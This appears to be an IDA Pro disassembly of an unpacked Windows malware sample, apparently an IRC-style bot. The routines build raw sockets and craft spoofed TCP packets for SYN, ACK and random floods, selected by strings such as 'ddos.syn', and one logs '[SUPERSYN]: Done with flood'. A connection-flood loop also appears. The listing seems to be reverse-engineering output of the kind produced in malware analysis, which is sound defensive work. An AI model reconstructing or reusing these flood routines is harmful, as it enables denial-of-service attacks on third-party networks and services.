;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	07D09867C95A8A442CB5C4028666D79A

; File Name   :	u:\work\07d09867c95a8a442cb5c4028666d79a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0008C000 ( 573440.)
; Section size in file		: 0008C000 ( 573440.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EE72+3A15o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	near ptr 25F07CDh
		nop
		push	eax
		call	sub_417300
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013EC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_426050
		push	eax
		call	sub_4172AE
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401093
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40D679
		add	esp, 14h


loc_401093:				; CODE XREF: sub_401000+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_290]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0278h
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B5	proc near		; CODE XREF: sub_4013EC+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43F5E0
		test	eax, eax
		jz	short loc_4010F5
		xor	eax, eax
		jmp	loc_4013E8
; ---------------------------------------------------------------------------


loc_4010F5:				; CODE XREF: sub_4010B5+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43F70C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013E0
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D6
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43F668
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43F668
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43F668
		mov	[ebp+var_12], ax
		call	sub_41730A
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43F668
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43F664
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011C5:				; CODE XREF: sub_4010B5+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011E1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011E1:				; CODE XREF: sub_4010B5+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401219
		call	sub_41730A
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41730A
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401219:				; CODE XREF: sub_4010B5+10Ej
					; sub_4010B5+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43F668
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2600000h
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 25F0847h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401267:				; CODE XREF: sub_4010B5+2E2j
					; sub_4010B5+2F0j
		mov	[ebp+var_4], bx
		call	sub_41730A
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43F668
		mov	[ebp+var_14], ax
		call	sub_41730A
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730A
		or	edi, eax
		push	edi
		call	dword_43F668
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43F664
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43F668
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013AA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 25F0847h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D3
		jl	loc_401267
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D3
		jmp	loc_401267
; ---------------------------------------------------------------------------


loc_4013AA:				; CODE XREF: sub_4010B5+2CBj
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_426088
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_4013D6
; ---------------------------------------------------------------------------


loc_4013D3:				; CODE XREF: sub_4010B5+2E0j
					; sub_4010B5+2EEj
		mov	ebx, [ebp+arg_8]


loc_4013D6:				; CODE XREF: sub_4010B5+78j
					; sub_4010B5+31Cj
		push	[ebp+var_20]
		call	dword_43F700
		pop	esi


loc_4013E0:				; CODE XREF: sub_4010B5+5Bj
		call	dword_43F5C8
		mov	eax, ebx


loc_4013E8:				; CODE XREF: sub_4010B5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730A
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40143B
		push	1
		pop	eax


loc_40143B:				; CODE XREF: sub_4013EC+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40144A	proc near		; DATA XREF: sub_40EE72+3C03o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E5
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_3BC]


loc_401493:				; DATA XREF: ___:off_4282ACo
		push	offset unk_426214
		push	eax
		call	sub_4172AE
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_4014C8:				; CODE XREF: sub_40144A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0278h


loc_4014E5:				; CODE XREF: sub_40144A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155C
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4261CC
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_40153F:				; CODE XREF: sub_40144A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0278h


loc_40155C:				; CODE XREF: sub_40144A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C3
		lea	eax, [ebp+var_3BC]
		push	offset unk_42619C
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_4015A6:				; CODE XREF: sub_40144A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0278h


loc_4015C3:				; CODE XREF: sub_40144A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43F668
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43F6A8
		mov	esi, dword_424058
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi
		mov	[ebp+var_8], eax


loc_401601:				; CODE XREF: sub_40144A+2E8j
		call	esi
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AC
		push	41Ch
		mov	byte_43C3E8, 45h
		call	dword_43F668
		cmp	[ebp+var_2C], edi
		mov	word_43C3EA, ax
		mov	word_43C3EC, bx
		mov	word_43C3EE, di
		mov	byte_43C3F0, 80h
		mov	byte_43C3F1, bl
		mov	word_43C3F2, di
		jz	short loc_401687
		call	sub_41730A
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41730A
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730A
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730A
		add	ebx, eax
		push	1
		mov	dword_43C3F4, ebx
		pop	ebx
		jmp	short loc_40169F
; ---------------------------------------------------------------------------


loc_401687:				; CODE XREF: sub_40144A+20Bj
		push	[ebp+var_1BC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	dword_43C3F4, eax


loc_40169F:				; CODE XREF: sub_40144A+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_43C3F8, eax
		call	sub_41730A
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C3FC, dl
		call	sub_41730A
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C3FD, dl
		call	sub_41730A
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_43C3FE, di
		mov	word_43C402, bx
		inc	edx
		mov	word_43C400, dx
		call	sub_41730A
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_43C404
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_43C3E8
		push	[ebp+var_4]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401737
		inc	[ebp+arg_0]
		jmp	loc_401601
; ---------------------------------------------------------------------------


loc_401737:				; CODE XREF: sub_40144A+2E3j
		push	[ebp+var_4]
		call	dword_43F700
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42613C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_40178F:				; CODE XREF: sub_40144A+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0278h


loc_4017AC:				; CODE XREF: sub_40144A+1C8j
		push	[ebp+var_4]
		call	dword_43F700
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4260DC
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401814
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_401814:				; CODE XREF: sub_40144A+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 25F0278h
		nop
sub_40144A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401831	proc near		; DATA XREF: sub_40EE72+159Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401992
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4172AE
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4018B1
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h


loc_4018B1:				; CODE XREF: sub_401831+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0278h
		pop	edi
		pop	esi
sub_401831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: sub_401992+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_43F668
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40198E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_40191B:				; CODE XREF: sub_4018D0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401923:				; CODE XREF: sub_4018D0+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401946
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_401946:				; CODE XREF: sub_4018D0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_401923
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401954:				; CODE XREF: sub_4018D0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_401954
		push	64h
		call	near ptr 260048Fh
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401978:				; CODE XREF: sub_4018D0+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_401978
		dec	[ebp+arg_4]
		jnz	short loc_40191B
		pop	edi
		pop	esi
		pop	ebx


loc_40198E:				; CODE XREF: sub_4018D0+3Ej
		xor	eax, eax
		leave
		retn
sub_4018D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401992	proc near		; CODE XREF: sub_401831+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C8
		push	1
		pop	eax


loc_4019C8:				; CODE XREF: sub_401992+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D7	proc near		; DATA XREF: sub_40EE72+3906o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D28
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_426280
		push	eax
		call	sub_4172AE
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401A57
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h


loc_401A57:				; CODE XREF: sub_4019D7+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0278h
		pop	edi
		pop	esi
sub_4019D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A76	proc near		; CODE XREF: sub_401D28+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43F5E0
		test	eax, eax
		jz	short loc_401AB6
		xor	eax, eax
		jmp	loc_401D24
; ---------------------------------------------------------------------------


loc_401AB6:				; CODE XREF: sub_401A76+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43F70C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D1C
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D12
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43F668
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43F668
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
